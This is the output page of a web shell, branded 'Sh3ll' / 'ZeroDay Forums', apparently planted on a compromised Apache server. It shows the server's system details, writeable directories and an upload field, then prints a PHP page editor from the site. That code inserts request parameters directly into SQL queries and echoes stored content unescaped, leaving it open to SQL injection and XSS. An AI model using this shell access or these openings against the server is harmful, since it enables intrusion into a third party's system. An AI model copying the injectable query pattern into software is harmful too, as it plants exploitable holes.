Sh3ll
OdayForums


Server : Apache
System : Linux profile 3.10.0-1160.88.1.el7.x86_64 #1 SMP Tue Mar 7 15:41:52 UTC 2023 x86_64
User : apache ( 48)
PHP Version : 8.0.28
Disable Function : NONE
Directory :  /var/www/html/mmishra/indem/iiita/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //var/www/html/mmishra/indem/iiita/pageedit.php
<?php
checkadmin($role);
$tbl = 'webpages';

$id = $_REQUEST["id"];
$mode = $_REQUEST["mode"];
$title = $_POST["title"];
$content = str_replace('"',"'",$_POST["content"]);
$txtKey = $_POST["keywords"];
$submit = $_POST["submit"];

if ($submit == "SAVE") {
	if (mysql_num_rows(mysql_query("select * from $tbl where id='$id'"))) {
		mysql_query("update $tbl set title='$title',content=\"$content\",keywords='$keywords' where id='$id'");
	} else {
		mysql_query("insert into $tbl values('$id','$title','Static','Public',\"$content\",'$keywords',now())");
	}
}

$o = mysql_fetch_object(mysql_query("select * from $tbl where id='$id'"));
echo $o->content;
?>
<br>
<a name="ed"></a>
<input type='hidden' name='mode' value='edit'>
<b>Page Title</b><br><input size='60' type='text' name='title' value='<?=htmlsafe($o->title)?>' class='input'>
<br>
<b>Page Content</b><br><textarea name='content' class='input' cols='60' rows='10'><?=$o->content?></textarea>
<br>
<b>Search Keyword</b><br><input size='60' type='text' name='keywords' value='<?=htmlsafe($o->keywords)?>' class='input'>
<input type='submit' name='submit' value='SAVE' style='width:80px'>
<input type='hidden' name='id' value='<?=$id?>'>


ZeroDay Forums Mini